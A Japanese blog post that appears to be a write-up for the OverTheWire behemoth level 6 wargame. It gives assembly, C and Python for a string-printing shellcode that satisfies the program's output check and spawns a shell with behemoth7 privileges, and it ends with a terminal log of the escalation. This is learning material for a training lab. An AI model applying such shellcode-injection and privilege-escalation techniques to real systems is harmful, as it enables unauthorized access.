overthewireのbehemothのレベル6をクリアできたのでメモしときます。
この問題は脆弱性を突くタイプではなくて、特定の条件を満たすとshellが起動してクリアとなる問題でした。 これは実行するプログラムは/behemoth/behemoth6で、内部的には/behemoth/behemoth6_readerも実行されます。
behemoth6のほうは最初にpopen(2)でbehemoth6_readerを実行します。このとき、popen(2)の2番目の引数は"r"を指定しています。 behemoth6_readerはshellcode.txtというファイルを読み出し、読んだデータをシェルコードとして実行します。behemoth6_readerをcで書いたらだいたいこんな感じのことをやるコードです。
#include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #include <sys/stat.h> #include <sys/types.h> #define SHELL_TEXT "./shellcode.txt" int main(int argc, char **argv) { struct stat st; int ret; char *buf; FILE *fp; void (*f)(void); int i; ret = stat(SHELL_TEXT, &st); if (ret) { perror("stat"); exit(-1); } printf("[*] shellcode size is %d bytes\n", st.st_size); buf = malloc(st.st_size); if (!buf) { perror("malloc"); exit(-1); } fp = fopen(SHELL_TEXT, "rb"); if (!fp) { perror("fopen"); exit(-1); } fread(buf, st.st_size, 1, fp); fclose(fp); printf("[*] run shell\n"); f = (void (*)(void))buf; f(); return 0; }
そして、behemoth6のほうはbehemoth6_readerからの出力を受け取ってstrcmp()でその文字列と期待値のチェックをしています。そして、シェルコードの出力と期待値が合えばexecl(3)で/bin/shを実行してくれます。そうするとbehemoth7ユーザーの権限でシェルが使えるので/etc/behemoth_pass/behemoth7が読めるというからくりです。なので、ここで使用するシェルコードはシェルを起動するコードではなくて、文字列を表示するシェルコードが必要になります。
今回は以下のシェルコードの元ネタをまず作りました。コンパイルはgcc -nostdlib -m32 hello_kitty.sです。1ラベルにジャンプした後にcall命令で_helloに行くとpop命令で文字列のアドレスを取れます。これでwrite(2)に渡す文字列のアドレスを設定しています。
.code32 .text .globl _start _start: jmp 1f _hello: xor %eax, %eax xor %ebx, %ebx xor %edx, %edx mov $0x04, %al mov $0x01, %bl mov $0x0a, %dl pop %ecx int $0x80 mov $0x01, %al mov $0x00, %bl int $0x80 1: call _hello .ascii "HelloKitty\0"
あとはシェルコードの動作確認用コード。
#include <stdio.h> /* hello_kitty.s .code32 .text .globl _start _start: jmp 1f _hello: xor %eax, %eax xor %ebx, %ebx xor %edx, %edx mov $0x04, %al mov $0x01, %bl mov $0x0a, %dl pop %ecx int $0x80 mov $0x01, %al mov $0x00, %bl int $0x80 1: call _hello .ascii "HelloKitty\0" test: file format elf32-i386 # objdump Disassembly of section .text: 08048098 <_start>: 8048098: eb 15 jmp 80480af <_hello+0x15> 0804809a <_hello>: 804809a: 31 c0 xor %eax,%eax 804809c: 31 db xor %ebx,%ebx 804809e: 31 d2 xor %edx,%edx 80480a0: b0 04 mov $0x4,%al 80480a2: b3 01 mov $0x1,%bl 80480a4: b2 0a mov $0xa,%dl 80480a6: 59 pop %ecx 80480a7: cd 80 int $0x80 80480a9: b0 01 mov $0x1,%al 80480ab: b3 00 mov $0x0,%bl 80480ad: cd 80 int $0x80 80480af: e8 e6 ff ff ff call 804809a <_hello> 80480b4: 48 dec %eax 80480b5: 65 6c gs insb (%dx),%es:(%edi) 80480b7: 6c insb (%dx),%es:(%edi) 80480b8: 6f outsl %ds:(%esi),(%dx) 80480b9: 4b dec %ebx 80480ba: 69 .byte 0x69 80480bb: 74 74 je 8048131 <_hello+0x97> 80480bd: 79 00 jns 80480bf <_hello+0x25> */ char shellcode[] = "\xeb\x15" "\x31\xc0" "\x31\xdb" "\x31\xd2" "\xb0\x04" "\xb3\x01" "\xb2\x0a" "\x59" "\xcd\x80" "\xb0\x01" "\xb3\x00" "\xcd\x80" "\xe8\xe6\xff\xff\xff" "HelloKitty\0"; int main(int argc, char **argv) { void (*f)(void) = (void (*)(void)) shellcode; f(); return 0; }
それと、シェルコードをファイルに書き出すpythonスクリプトです。最終的にはこれをサーバで実行してshellcode.txtを作ってます。
#!/usr/bin/env python2 shellcode = "\xeb\x15\x31\xc0\x31\xdb\x31\xd2" shellcode += "\xb0\x04\xb3\x01\xb2\x0a\x59\xcd\x80" shellcode += "\xb0\x01\xb3\x00\xcd\x80" shellcode += "\xe8\xe6\xff\xff\xff" shellcode += "HelloKitty\0" with open('shellcode.txt', 'wb') as f: f.write(shellcode) print('[*] Done.')
このスクリプトを動かすとこのようになってクリアとなります(∩´∀`)∩ワーイ
behemoth6@melinda:/tmp/tmp.nDpCHusXQC$ ./shell.py [*] Done. behemoth6@melinda:/tmp/tmp.nDpCHusXQC$ id uid=13006(behemoth6) gid=13006(behemoth6) groups=13006(behemoth6) behemoth6@melinda:/tmp/tmp.nDpCHusXQC$ /behemoth/behemoth6 Incorrect output. behemoth6@melinda:/tmp/tmp.nDpCHusXQC$ chmod 777 /tmp/tmp.nDpCHusXQC behemoth6@melinda:/tmp/tmp.nDpCHusXQC$ /behemoth/behemoth6 Correct. $ id uid=13006(behemoth6) gid=13006(behemoth6) euid=13007(behemoth7) groups=13007(behemoth7),13006(behemoth6) $
まんがでわかるLinux シス管系女子 2(日経BP Next ICT選書)
- 作者: Piro(結城洋志)
- 出版社/メーカー: 日経BP社
- 発売日: 2015/12/22
- メディア: Kindle版
- この商品を含むブログを見る